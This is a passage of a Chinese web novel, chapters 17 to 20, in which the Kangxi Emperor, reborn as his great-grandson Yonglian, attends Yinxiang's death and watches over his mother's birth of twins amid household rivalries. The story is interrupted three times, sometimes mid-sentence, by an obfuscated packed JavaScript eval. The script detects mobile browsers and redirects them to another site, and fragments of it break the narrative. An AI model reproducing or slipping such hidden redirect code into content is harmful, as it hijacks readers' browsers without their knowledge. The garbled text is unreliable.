李德全也急忙上前给他顺气:“十三爷!” 胤祥听到李德全的声音才仰起头:“李公公……你怎么来了?” 他突然想到了什么,奋力地抬起头,果然看到一道小小的身影站在前方。 可那张脸,那脸上的表情他熟悉万分。 “皇阿玛……” 17. 第十七章 胤祥起初精神还有些恍惚,以为是自己弥留之际看花了眼。 叫完那声皇阿玛后,他才醒过神来,意识到站在他面前的是永琏。 李德全给胤祥掖了掖被角,扶他靠好,问道:“十三爷,您可要跟二阿哥再说上几句话?” 该说的昨天其实都已经说完了,只是今儿永琏特意来了,胤祥便又点了点头。 好在本来屋子里也没什么下人,李德全便赶忙带着哭地有些神志不清的弘昌出去了,屋子里便只剩下了玄烨和胤祥两个人。 胤祥看着玄烨,他隐隐地觉得今天这个小侄孙好像和昨天的有些不一样,只是他说不清楚是哪里不同了。 他咳了两声,玄烨见状拿起一旁的茶杯上前递给他,胤祥摆了摆手,他现在已经喝不下去了。 凑近一看,玄烨才发觉胤祥的脸色已经灰白,嘴唇干裂着,明明睁着眼却让他感到他的眼眶里空空荡荡的,已经驾崩过一次的玄烨对他这副样子很是熟悉。 当真是油尽灯枯了。 方才胤祥画的陵寝图还放在一边,玄烨抿着唇捡起来,上头是严格按照亲王的陵寝规格来画的,甚至还缩减了几分。 胤祥见他拿起来看,深吸了几口气喃喃地说道:“朝廷正在和准噶尔打仗,国库吃紧,你皇爷爷若是……” “胤祥,你做地很好。” 胤祥的声音戛然而止,他错愕地看着眼前刚满两岁的永琏,眼睛瞪地老大。 他看到永琏抬了抬眼,身上的气势也陡然变化,露出了他再熟悉不过的神情,仿佛在提醒他,刚刚那一眼并非是他的错觉。 “皇……皇阿玛?” 真的是皇阿玛吗?皇阿玛回来了? 玄烨叹了口气,说道:“是朕。” 胤祥的眼泪唰地便流了下来,他挣扎着起身想给玄烨行礼,玄烨赶忙上前按住他。 “不必多礼了。” 说罢,他还强忍住心酸,难得开了个玩笑。 “朕如今这幅样子倒是也拦不了你什么了。” 胤祥愣在原地,直到现在还是觉得不可思议,他试探地嚅动了一些嘴唇,问道:“皇阿玛,真的是您吗,您是什么时候回来的?” 是因为他不久于人世,所以皇阿玛借着永琏的身子来看他的吗? 玄烨笑了笑:“你这小子,朕去年还不能走路说话的时候,你可是占了朕不少便宜。” 胤祥听了这话才知道,原来永琏一直以来便是皇阿玛! 提起这个胤祥灰白的脸上还露出一抹血色,他不知道永琏是皇阿玛,看到那么像皇阿玛的一个孩子,自然就忍不住上手逗弄一番了。 如今再想想那是皇阿玛,真的让他这个将死之人都有点无处自容了。 “皇阿玛,您……” 胤祥本以为自己有很多话想跟自己的皇阿玛说,可话到嘴边他却觉得没有一句是能说地出口的。 他想问,在皇阿玛的心里,他是不是一个不孝不悌的人。 他舍弃了太子,还和四哥私底下站到了一起,皇阿玛是不是对他很失望。 可是这些话他却怎么都说不出口,只能怔怔地看着玄烨。 “朕回来这两年,一直没告诉你们,别怪朕。”玄烨突然说道。 胤祥挣扎着又坐起来了些,连忙说道:“皇阿玛何出此言,您也有您的为难之处。” “何况,您今日能来看儿子……” 胤祥说到这声音越来越低,他想着,如今皇阿玛能来看他,还告诉了他身份,是不是证明皇阿玛没有厌弃他。 “敏妃走地早,朕记得她走的时候你才十三岁,敦恪那时候也才八岁。”玄烨陷入了回忆,缓缓地说道:“从那时起朕便把你带在身边,你从小便懂事也聪慧,学什么都是一点就通。” 胤祥笑了笑,也想起了那段他最轻松的时光。 而这一切父慈子孝的美好都戛然而止在太子被废的那一天。 “皇阿玛,是儿子不孝辜负了您的期望。”胤祥最终还是晦涩地开口道:“当初您想让我辅佐二哥,而我却……” 即使时隔几十年,再提起这件事胤祥还是觉得有些羞愧。 “如果再让你选一次。”玄烨打断了他的话,定定地问道:“你还会和老四站到一处吗?” 而这个问题胤祥却半分都没有犹豫,他抬起头坚定地说道:“会。” “只有四哥,才最适合做这个皇帝。” “为了……为了我大清的万世基业,哪怕是皇阿玛不认我这个儿子了,我也会选四哥。” 他说完这些本以为玄烨会发怒,不成想他抬头却看到自己的皇阿玛露出了欣慰的笑容。 “胤祥,你忠君爱国,是个好孩子。”玄烨温和地说道:“胤礽的事,是皇阿玛对不住你。” “皇阿玛……” 胤祥从来没有想到过,有一天皇阿玛会因为当年的事和他说一声对不住。 他顿时有些手足无措起来,只能看着玄烨坐到他的床边,叹了一声气说道:“皇阿玛那时人老了,脑子也不如从前清醒,如今再想想胤礽确实不是明主,若是真的把江山社稷交到他手里,朕无颜面对大清的列祖列宗。” “只是到底苦了你。” 胤祥的眼泪流了下来,他直摇头说道:“皇阿玛,有您这句话,儿子死而无憾了。” 胤祥幼年丧母,两个妹妹出嫁后不久也都早早离世,皇阿玛让他打小亲近的太子二哥,后来也是分崩离析,就连和皇阿玛,最终也闹到了几乎父子之情断绝的地步,所以他一直都把和四哥的亲情视为他最后的救赎。 大哥,二哥,四哥,八哥乃至于十四弟,这些兄弟们都想要那张龙椅,而唯有他从来没有想过。 他唯一幻想渴望着的,就是父母恩爱,兄弟和睦,父子情深,他以前曾想过和几个哥哥相比,他想要的真是太简单了。 而直到很多年后他才发觉他一直渴求着的才是世间最宝贵之物,而且终其一生他也一样都没有留住。 所以他想着无论如何,他和四哥之间绝不能再反目成仇,否则他这一生,实在也是太失败了。 四哥继位之后,即使四哥对他好地不能再好了,他还是谨记着君臣之礼,时时刻刻不忘记自己的身份,小心翼翼地维护着他和四哥之间的兄弟情义,仿佛他幼时抱着最后一罐糖果一样,怎么也舍不得松开手。 他想向世人证明,他胤祥不是个无情无义的人。 只是他怎么都没想到,在这临终之际,还能再见到皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16555722|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿玛,听他说这些话。 胤祥像是终于卸了口气一般,仰头躺倒在枕上,玄烨赶忙上前,只是他如今这两岁多的身体实在是做不了什么。 “朕叫人进来。” “皇阿玛。” 胤祥拉住他,眼神已经有些涣散,虚弱地说:“皇阿玛,别让人进来,咱们父子俩再说几句话。” 玄烨干涩地开口:“……好。” 胤祥强撑着又和他说起许多幼时的事,说起敏妃,说起温恪和敦恪,也说起胤礽和胤禛,最后说起他六岁的时候发了高烧,那时候玄烨也是这样陪在他的床边。 胤祥看着如今玄烨小小的手握住他的模样,突然笑了笑。 从前是皇阿玛的大手握住他的小手,如今却是反过来了。 “阿玛,来世……咱们,咱们还要做父子。” 胤祥最后紧紧抓住玄烨的手,仿佛是拼尽了全身力气一般。 玄烨眼眶酸疼,可还是强忍着露出一抹温暖的笑意。 “好,阿玛会去找你的。” “君无戏言。” 玄烨站起来拍了拍他,就像小时候那样,承诺等他好了便带他去骑马。 胤祥这才缓缓地闭上了双眼,仿佛他只是生了场小病,而皇阿玛守在他的身边,等着他再醒过来。 玄烨感受着胤祥的手渐渐变凉,他却怔在了那里久久没有动弹。 老十三走了。 过了许久玄烨才挪动了步子,他都有些不知道自己是怎么走到门前,又打开了门。 李德全守在门前,一见他这副模样就知道不好了。 他小声地问道:“皇上,十三爷?” 玄烨面无表情地说道:“胤祥走了。” 李德全赶忙去通知前头的怡亲王福晋和宝琳,玄烨听着突然响起的痛哭声,觉得像是从天外传来的悲鸣一般,他什么都听不真切。 宝琳匆匆地赶过来,方才李德全便私下告诉她,怡亲王最后薨逝的时候是和永琏在一块,她吃了一惊,生怕把永琏吓着。 结果赶来一看果然这孩子已经傻了。 宝琳也不疑有他,一个两岁的孩子看着至亲离世,怎么样都是正常的,她赶忙把玄烨抱起来:“永琏,吓着了是不是?” 感受到额娘温暖的怀抱和急切的询问,玄烨才似乎终于回过神来:“额娘……” “好了好了。”宝琳抱着他拍了拍,心想这怡亲王走了,她也得帮着准备丧仪,这永琏如今又这样,还真是让她有些分身乏术了。 宝琳踌躇再三,哄了玄烨一会,见他情绪平复些了便想着把玄烨交给李德全,自己去前头看看,没成想怡亲王福晋悲痛之下也还惦记着她怀着孩子,又带着两岁的永琏,所以怎么都不让她上前沾手,只让宝琳在前头陪着玄烨。 胤祥走了没到一刻钟,怡亲王府的大门就轰然打开,传来一阵急促的脚步声,雍正几乎是狂奔着进来,目眦欲裂。 “十三弟!” 雍正八年五月初四,怡亲王允祥薨逝,雍正悲痛万分,特将其名字中的“允”字改为“胤”字,不必避皇帝讳。且将怡亲王爵位世袭罔替,成为大清有史以来的第九个铁帽子王,而怡亲王胤祥赐谥号为“贤”,配享太庙,永受后世香火。 18. 第十八章 怡亲王离世对雍正,或者是整个大清来说都是极大的打击。 雍正悲痛欲绝,辍朝七日,每日都亲往祭奠,京城四品以上的官员也都要易服吊唁。 而胤祥也可以说很了解他四哥了,即使他临终之际坚持画了自己的陵寝图,可胤禛还是力排众议,以超出亲王规格许多的陵墓规制,违反了祖制,将他葬在了皇陵。 怡亲王薨逝就和两年前淳亲王薨逝不同了,弘历忙地团团转,几乎是在皇宫和怡亲王府两边跑地脚不沾地,这些年胤禛年纪也慢慢大了,很多事都要弘历为皇父分忧,是而自从怡亲王薨逝到如今已经快一个月了,弘历还是没怎么进后院。 回府的时候也多歇在宝琳这,或是去看看富察氏。 所以金氏,苏氏几个就有些坐不住了。 “福晋,妾身听闻王爷今日又不回府了?” 今儿一早来请安的时候,金氏便一马当先先问起了弘历的事来。 自从前些日子被宝琳敲打了一番,又禁足了两个月之后,金氏确实比从前收敛多了,自然还有一部分原因也是因为苏氏暂时照看着大阿哥,两人之间一向拧成一股绳的联盟就这么破了,弘历又每日焦头烂额,对她的宠幸也少了,这多方因素叠在一块,金氏也不得不老实起来。 高氏坐在右侧首位,正对着金氏,听罢摇了摇手中的团扇,说道:“王爷就算回来也是到福晋这来,轮得到你来操什么心。” 高氏本来是因为永璜的事被禁足了半年,结果她父亲高斌治理江南水务立了大功,高氏又日日上着请罪书,弘历便抽空去看了她一次,半推半就地也就把她放出来了。 金氏冷了脸:“侧福晋说话未免也太夹枪带棒了吧,我不过是关心王爷,问一句罢了。” 苏氏的眼神在两人身上转了一圈,没说话。 宝琳对高氏和苏氏的掐架,已经习以为常了,无奈地说道:“成了,都别吵了,准噶尔战事吃紧,王爷宿在宫里为皇阿玛分忧也是常事,咱们在府里更不能给王爷添乱。” 宝琳在宝亲王府有地位,有宠爱,也有孩子,即使是嚣张如金氏也不敢像对高氏那样,当面给宝琳摆脸色,尤其是上次在园子里碰到宝琳之后,她还惴惴不安了许久,结果碰上怡亲王薨逝,这事好像就这么囫囵过去了。 只不过她对于宝琳还是畏惧多一些的,宝琳一发话,她也连忙附和。 高氏自然也是懒地搭理金氏,当即关切地问道:“福晋,二阿哥如今身子如何了,听说这几日进膳进的好些了。” 玄烨自从那日从怡亲王府回来便病倒了,整整高烧了两日,好不容易退了烧又水米不进,宝琳顾不得肚子里还怀着一个,日夜守在玄烨床前,最后还是被弘历和李德全一块给半拉半劝地才回了寝殿,好在玄烨的病一日一日见好,如今只是还有些咳嗽,已经能下床走动用膳了,只是宝琳担心他的身子,还是不让他出来乱跑。 提到玄烨,宝琳也难得笑了笑说:“永琏如今好多了,再过几日便又能出门来玩了。” 一向沉默寡言的陈氏突然说道:“二阿哥是有福气的人,又有福晋不辞辛苦地照顾着,自然便好了,妾身和珂里叶特妹妹也给二阿哥抄了些经书,改日也去佛前还愿。” 陈氏和珂里叶特氏在府里存在感一向不高,是很老实本分的两个人,听到她们为玄烨祝祷,宝琳也是一一谢过,想着待会让人送些东西过去。 只是很快她便发现两人的神色有些不对,尤其是珂里叶特氏,好几次话到嘴边还是没说出口。 宝琳有些疑惑,问道:“这是怎么了,有什么话直说就是。” 最后还是陈氏站了出来,说道:“福晋,珂里叶特妹妹,她是……她是有了一个月的身孕了。” 此话一出顿时屋子里所有人的眼神都齐刷刷地看了过去。 珂里叶特氏抿着唇,手紧紧地攥住了衣裳。 宝琳也是没想到珂里叶特氏竟然是有孕了,算起来还是怡亲王薨逝前后的事。 怪不得怀孕明明是喜事,可珂里叶特氏还这么犹犹豫豫的不敢说出来。 怡亲王薨逝虽然算不上是国丧,不能婚嫁生子,但是终归说出去不是那么好听。 宝琳缓过神来,笑着说道:“那这是喜事啊,待会我再挑几个奴才去你院子里伺候,你的分例也按侧福晋的来,先养好身子,好好地把这个孩子生下来。” 珂里叶特氏赶忙点头,轻声说道:“多谢福晋。” 金氏在一边牙都要咬碎了,她的孩子没了,剩下的倒是一个两个都身怀有孕了,不过很快她就又打起了精神,寻思着待珂里叶特氏这个孩子生下来,能不能养到自己身边。 如今宝琳已经四个多月了算是坐稳了胎,富察氏快要五个月,只是这胎怀地艰难,现在已经只能在床上修养,不大能下地走动了,如今又添上了一个珂里叶特氏。 而高氏乍一听闻也是有些落寞,她入府这么久了也是没有一儿半女,如今一个个的都有了自己的孩子,她也难免心酸。 正殿这里各怀鬼胎,玄烨也在自己的寝殿里披着衣裳,看这些日子送来的线报。 自从和李德全袒露身份之后,他便有了自己的消息来源,李德全这几十年的大内总管自然不是白当的,宫里头乃至外头有些王公大臣的府里,都有他的人脉,所以玄烨虽然如今还小,但却对如今京里头的事算是了如指掌了。 “皇上,药好了。” 寝殿里头没有旁人,李德全便会这么称呼玄烨。 玄烨接过,微微皱眉,两三口把药喝完了。 李德全立刻伺候他漱口,又上了蜜饯。 李德全看着他眉头紧锁的模样,也没再说什么,安静地退到了一边研墨。 如今准噶尔战事吃紧,大清节节败退,准噶尔这些奸诈之徒假降,声称要与大清和谈,这场仗算起来也打了快要两年了,大清国库空虚也是咬牙支撑着,所以雍正思量过后准备接受和谈,只是他把前线的两员大将,岳钟琪和傅尔丹都召回了京城,准噶尔一方便抓住机会休养生息,开始准备粮草反攻,打了清军一个措手不及。 前些日子,岳钟琪和傅尔丹又返回前线了。 玄烨看着奏报抿了抿唇,不悦地说道:“这个胤禛,太心急了。” 说罢,他还咳了几声,李德全赶忙上前倒了杯水。 “皇上,您如今还病着呢,莫动气。” 玄烨摇了摇头,按照他的估量,此次与准噶尔之战大清怕是要损失惨重了。 老十三走了,更没有人能劝得住老四了。 玄烨左思右想也没想到什么好办法,老四是个犟种,打小就是不撞南墙不回头,不让他栽个大跟头,恐怕是不会醒过来的。 “李德全,让宫里头的人都警醒些,有什么异动马上报过来。” “嗻。” 李德全话音刚落,寝殿的门便被人推开了,宝琳走了进来。 玄烨脸色一变,李德全心领神会立刻把桌上的东西都收了起来,装作正给他穿衣裳的模样。 “哎呦,我的爷,福晋吩咐了还不让您出门呢。” 宝琳已经快步上前,一听李德全的话便无奈地说道:“永琏,又闹李公公了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16568264|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 玄烨眨巴着眼睛,无辜地说道:“想去前头找额娘。” 玄烨是把宝琳吃地死死的,宝琳一听这话顿时心都软了,俯身接过李德全的活计,给他穿衣裳。 “额娘这不是来看你了吗?”宝琳柔声说道:“最近下了好几天的雨,湿寒的厉害,等天儿好了,额娘领你出去放风筝可好?” 玄烨点了点头,低头就看到宝琳如今已经微微隆起的小腹。 “额娘,儿子没事。”玄烨牵着宝琳的手往屋内走,一边走一边说道:“您也要注意自己的身子。” 他想起前些日子额娘没日没夜地守在他床边,就觉得后怕。 若是额娘有个万一…… 一旁的李德全也满脸笑意地说道:“是啊,福晋您有着身孕更得注意些。” “这孩子乖巧,没什么事。” 宝琳这一胎怀地确实轻松,到目前为止基本上什么孕期反应都没有,能吃能睡的。 玄烨也小心翼翼地摸了摸宝琳的小腹,心想这里头就是他嫡亲的弟妹,他这个当哥哥的一定会照顾好弟妹和额娘。 李德全在一边也是颇感欣慰,皇上从前于父母,兄弟姊妹之情上总是缘薄,这一世也算是圆满了。 弘历进来的时候便看到了这副景象。 娇妻幼子,而且妻子肚子里还有一个小的,这幸福的模样都把他心头因为战事的焦虑冲淡了两分。 “王爷。” 宝琳也没想到弘历怎么突然回来了,不是说今天晚上都不回来了吗? 玄烨也老老实实地叫了一声阿玛。 起初他是怎么都叫不出口,他刚开始学说话的时候,额娘,叔伯这些称呼都叫地十分顺畅,可偏偏守着胤禛和弘历这两张脸叫不出来爷爷和阿玛。 老四还好,终归不能时常见面,他忍一忍也就叫了,可弘历这小子可是天天往他面前凑,他越是不叫阿玛,这小子就越挫越勇,非得把他教会了不可。 最后逼地玄烨没法子了才别别扭扭地叫了一声,他才消停。 后来弘历便发现了自己这个儿子天生早慧,话也不多,所以也就习惯了。 只是宝琳一头雾水,永琏话明明挺多的啊,怎么到了弘历面前就成了一个小哑巴了。 弘历摸了摸玄烨的头,笑着说:“永琏如今也大好了,看着还长高了些。” 宝琳接过弘历手中被雨打湿的斗篷,笑着说道:“王爷怎么突然回来了?” “皇阿玛今儿身上有些不痛快,便不议事了。” 玄烨一听便竖起了耳朵。 宝琳:“可要紧?” 弘历挥了挥手:“小事,放心就好。” 其实也不是身上不痛快,是前线战事不顺,心里头不痛快。 宝琳却盘算着弘历登基大概也就是这几年的事了。 弘历把宝琳拉过来,柔声问道:“你怎么样,孩子可闹你了?” 宝琳摇头,说一切都好。 她想了想还是把珂里叶特氏有孕之事告诉了他。 弘历的表情果然也僵硬了一瞬,似乎也觉得这个孩子来地有些不是时候,他尴尬地喝了口茶:“既然有了,便好生养着吧。” 宝琳十分贴心地也没再提这事。 弘历在心里头盘算了一番,说道:“富察氏月份比你大了半月,想来你们生产也都是在冬天,富察氏到时若是生在了前头,天寒地冻的你就别过去守着了。” 只是让弘历和宝琳都没想到的是,宝琳竟然提前发动了。 在一个飘雪的冬日,生下了一对龙凤胎。 19. 第十九章 在生产之前,太医来请脉也没把出来宝琳肚子里的是双生胎,而且宝琳的肚子也没有格外大,和上一胎怀玄烨时看着也差不多,所以宝琳也从没想过自己肚子里竟然有两个孩子。 宝琳自从怀上这个孩子便觉得不论男女,这绝对是个乖巧懂事的,从怀孕到生产她基本都没遭什么罪,不到半个时辰孩子就落地了。 接生嬷嬷和芙蓉等人娴熟地把孩子洗刷干净,用火红的锦被包好,放在了宝琳枕旁。 “福晋,是个漂亮的小格格呢。”杜鹃笑着说道。 接生嬷嬷也说道:“是呢,奴婢接了这么多年生,还是第一次见这么白净漂亮的孩子。” 宝琳这次生产没费多大力气,所以现在精神头也尚好,她想坐起来看看孩子,芙蓉和鸢尾便赶忙扶住她。 “真是个漂亮的孩子。”宝琳看了一眼,也有些惊叹的笑着说道。 她这小闺女生地白白净净,一点都不像刚出生的孩子那般皱皱巴巴,而且除了刚降生时哭了两声,现在一声都不哭了,眼睛现在也睁开了,眨着黑葡萄一样的大眼睛盯着她看。 宝琳正想抱一抱女儿,突然觉得小腹一阵坠痛,她变了脸色呻吟了一声,人也往后倒回去。 接生嬷嬷这才惊叫道:“福晋,肚子里还有一个,您怀的是双生胎!” 此言一出产房里又是一阵人仰马翻,芙蓉等人都慌了神,没想到宝琳怀的是双生胎,好在接生嬷嬷们或多或少都是接生过双胎的,一阵手忙脚乱之后很快就定了心神,有条不紊地开始接生第二个。 弘历今儿不巧前线有紧急军情进宫去了,所以如今是高氏守在外头,玄烨也在产房外头来回踱步。 玄烨刚刚听到了一声婴儿的哭声,产房里也是一阵欢呼雀跃的声音,他便知道额娘已经平安生产了,只是这后头一点婴孩的动静都没听到。 他不由得往前走了两步,急地想进去看看。 李德全赶忙拦住他,小声说道:“主子,这产房是血污之地,不能进。” 高氏也劝道:“二阿哥放心,福晋必定是母子平安。” 玄烨没法,只能在外头高声喊道:“额娘,您安好吗?” 结果这话也是石沉大海,没有一点回音。 玄烨的心顿时就沉了下去,心道定然是出了什么问题,他咬了咬牙就想往里闯,李德全赶忙拦住他。 “主子,这真的不能进,犯了忌讳啊!” “什么忌讳不忌讳的!”玄烨冷了脸,喝道:“都什么时候了,我要进去看额娘!” 高氏看到玄烨这心急如焚的模样心里也闪过一丝艳羡,福晋可真是好福气,二阿哥人聪慧伶俐,还如此孝顺。 不过产房确实是不宜进去,高氏看着李德全快要拦不住了,正想上前帮着劝劝,门突然开了。 鸢尾匆忙出来,说道:“二阿哥放心,福晋刚刚已经诞下了一位小格格,只是腹中有双生胎,所以还在生产,福晋说了让您不必担心,也别进来。” 宝琳在产房里就听到了玄烨的声音,知道玄烨记挂着她,也怕玄烨担心,所以在生产中还特意让鸢尾出来安抚一下玄烨。 玄烨听完眼眶顿时就红了,额娘生产着双生胎,心里还惦记着他。 “额娘现在如何了,怎么会是双生胎?”玄烨急急忙忙地追问:“说实话,到底如何了?” 鸢尾:“二阿哥放心就是,接生嬷嬷们说福晋的胎位好,两个小主子比起旁的婴儿来也小一些,想来很快就能生产完了。” 玄烨抿着唇,听到产房里传来宝琳的痛呼声又慌了神,赶忙推着鸢尾回去照顾,自己定定地站在产房前不挪步了。 李德全守在他的身旁,低声说道:“主子放心,福晋吉人天相,双生胎又是喜事,定然不会有事的。” 高氏瞧了一眼,也干巴巴地说道:“李公公说的是,二阿哥别太担心了。” 玄烨不言,在外头足足又站了半个时辰才听到第二声婴儿的啼哭声。 “额娘!” 玄烨喊了一声,他是知道双生胎有多么凶险的,一个不好便有可能把母体拖出什么问题来,所以哪怕听到了第二个孩子落地的声音,他还是焦急万分。 产房内,鸢尾和杜鹃正在给宝琳擦汗,这两个孩子都没让她受太大的罪,只是骤然知道肚子里还有一个,把她吓了一跳。 宝琳听到玄烨的声音,赶忙让人打开了门,芙蓉出了来笑着说道:“二阿哥放心,福晋诞下了一对龙凤胎,小格格和小阿哥都好着呢,福晋有些脱力,歇息一会就好了。” 玄烨吊了一个时辰的心这才放到了肚子里,他往里探了探头,只看到了层层叠叠的珠帘和帐幔,一点额娘和弟妹的影子都看不到。 “永琏,额娘和弟弟妹妹都没事。”宝琳透过帐幔看到玄烨小小的身影,撑着坐起来笑着说道:“妹妹和弟弟都长地可漂亮了,明日你再来看,快回去歇着吧。” 玄烨松了口气,高声说道:“额娘,那儿子先走了,您注意身子。” 说罢他才对芙蓉说道:“快把门关上吧,免得吹了风冻着额娘。” 芙蓉应声,又进了屋内把门关上了。 李德全喜笑颜开:“哎呦,这真是大喜事啊,龙凤呈祥真是好兆头!” 额娘平安,他又多了一双弟妹,玄烨缓过神来也是高兴的,他正想转身想回自己屋里去,结果抬头正好撞上了高氏那有些慈爱又带着些痴的眼神,把他吓了一跳。 玄烨如今也快满三岁了,身上的那股天家威严已经完全显露了出来,矜贵清隽,小小年纪就气度非凡,所以高氏一时看呆了些,心道福晋真的是太会养孩子了,大阿哥比二阿哥还大上半岁,可两人根本就不能放在一块相比,虽不至于是云泥之别可也大差不差了。 高氏见玄烨微微蹙眉,也回过神来,赶忙说道:“二阿哥真是孝顺,福晋添了一对龙凤胎,如今也是儿女双全,真是好福气。” 玄烨冲着他这位庶母微微颔首,便离开了。 李德全也紧跟其后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581327|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向高氏福了福身,说道:“侧福晋,如今福晋平安生产,也是辛苦您了,您也早点回去歇着吧。” 高氏点头,目送着玄烨离开,微微叹了口气,搭上贴身侍女的手腕出了正院。 高氏和宝琳一向交好,所以宝琳得了一对龙凤胎,她虽然有些羡慕,但更多的还是为宝琳高兴。 王爷待福晋显然与她们不同,福晋有了二阿哥,又有和王爷与众不同的情分,就已经是根基稳固了,再生几个也都是锦上添花。 “如今福晋生了一对龙凤胎,富察格格也有了第二个孩子,连珂里叶特氏都有了。”高氏抚上自己的小腹,万般惆怅地说道:“我与珂里叶特氏也是前后脚入的府,怎么如今我却还一个孩子都没有怀上。” 这些年她也看了不少大夫,灌了不少苦药,可偏偏就是没有动静。 高氏的陪嫁丫鬟若雨说道:“侧福晋别急,那珂里叶特格格不也是入府多年才有的孩子,大夫说了您的身子好着呢,就待时机。” 外头的雪还飘飘洒洒地下着,园子里一片白雪琉璃之景,园子里栽了许多红梅,白雪红梅好看地紧。 高氏拢了拢絮着厚厚鹿毛的斗篷,说道:“时机要紧,人为也不能少了。” “若是一时半会不能有孕,抱养一个孩子在膝下也是好的。” 若雨思索了片刻:“您说的是珂里叶特格格肚子里的那位?” 富察格格育有大阿哥,虽然只是个格格,但是在府里的地位也是不同寻常的,抱养她的这一胎是可能性不大,可珂里叶特氏一向不怎么受王爷宠爱,若是运作一番,也不是没有可能。 高氏低声问道:“你觉得如何?” “若是能成那自然是好。”若雨迟疑了一会,说道:“只是怕高格格也盯着珂里叶特格格这一胎呢,奴婢听说自从珂里叶特格格有孕以来,高格格可是时常去探望。” 连和高氏以及苏氏掐架的频率都降低了,一心扑在珂里叶特氏的肚子上。 一行人穿过园子,又走了几步便到了高氏的院子。 进了屋之后换了斗篷又喝了盏热茶,高氏才说道:“我是侧福晋,她只是一个侍妾,若真是要给这个孩子寻一个养母,也轮不到她,何况福晋定然是会帮着我的。” 若雨也陪笑道:“那是自然,福晋最疼侧福晋了。” “只是,就怕那金格格狐媚,已经求了王爷可怎么办?” 若雨此话一出,高氏也有些迟疑了。 这倒还真是像金氏能干出来的事。 只怪她现在才想着抱养这个孩子,让金氏捷足先登了。 “待王爷来时,我先探探王爷的口风。”高氏思量着说道:“想来王爷应当没有应允她,否则这事王爷一定会告知福晋的。” 若是福晋知道了,多少会和她透点风声的。 这么想着她的心绪也平静了不少,不过她心底还是想着能有一个自己的孩子,是个儿子最好,若是能像二阿哥那样出落地气宇轩昂,气度不凡就更好了。 20. 第二十章 而玄烨回到自己屋中,想到方才高氏的眼神还是觉得有些头皮发麻。 他把屋里伺候的人都遣了下去,和李德全说道:“李德全,你说方才高氏为何如此看朕?” 李德全旁观者清,笑着说道:“主子,您忘了,高侧福晋如今还没有孩子呢,府里的主子们接二连三的有孕,难免她眼热。” 玄烨:“……那她这是盯上朕了?” “侧福晋定然是没那心思的。”李德全赶忙说道:“多半是主子您龙章凤姿,侧福晋看着福晋有您这样的儿子眼馋罢了。” “像从前宫里头的娘娘们,不都是这样的嘛。” 玄烨一想也是,这高氏一向都是站在额娘身边的,为人也还算坦诚。 不过李德全提起从前的事,他不由得笑骂了一句:“你这老货,又编排起朕来了?” 许是玄烨转生的秘密只有他们二人知晓,所以李德全如今和玄烨相处反而比从前还要亲近了许多,他知道主子现在心情好,也开玩笑地说道:“像当初荣妃娘娘生了五子一女,宫里头多少娘娘看着都眼热呢!” 玄烨想道,不论是后宫还是王府里的女人,大多心思都放在了孩子和荣宠上,尤其是弘历现在正值壮年,后院这些女人就更想要个孩子了。 只是如今宝亲王府里有两个有孕的,若是出了什么差池难免额娘坐着月子还得头疼…… “李德全,让人把富察氏和珂里叶特氏那看地紧一点,别出什么差错。”玄烨端起一旁刚沏的茶喝了一口,挑眉道:“今儿这茶沏地不错。” 李德全也喜笑颜开地说道:“这是陈之沏的,主子觉得还能入口便是这小子的福气了。” 玄烨知道李德全这几年一直在尽心尽力地手把手教导着陈之,毕竟他如今的年纪在这里,总想着给玄烨留下个得用的人。 陈之也确实是个不错的,人机灵又忠心,只是到底还是李德全最合他的心意。 “陈之还要再磨炼几年,你可别想着这时候就躲懒。”玄烨说道。 李德全笑着说道:“那是自然,奴才身子还硬朗着呢,还想着再服侍主子十几年呢。” 玄烨笑了笑说道:“你这把老骨头还是悠着点吧,前些日子额娘送了些补身的人参燕窝来,你也用一些。” “嗻。” 自从康熙爷驾崩之后,李德全本以为自己会在紫禁城苟延残喘了此残生,可没想到还会有如此奇遇,让他又侍奉在皇上身边,如今他真的是心满意足,只愿有生之年都能在皇上身边伺候。 …… 宝琳生产完第二日弘历才回了王府,一听说宝琳生了对龙凤胎便火急火燎地赶过来看。 “都说龙凤胎是龙凤呈祥的好兆头,如今看来果然不错。”弘历极少笑地这么开怀,他抱着刚出生的小儿子说道:“昨儿前线来了军报,说情势如今稳定了许多,皇阿玛又听闻你生了龙凤胎,高兴地很呢。” 满人讲究抱孙不抱子,不过今儿实在是高兴,龙凤胎又是吉兆,弘历也就不讲究这些了,再说又是在自己家里随意些也无妨。 宝琳戴着抹额靠坐在床头,怀里抱着刚刚出生的女儿,神色柔和,温婉恬静,像极了送子观音。 “那也都是前线将士们的功劳,他们两个刚刚出生还什么都不懂呢。”宝琳笑着说道。 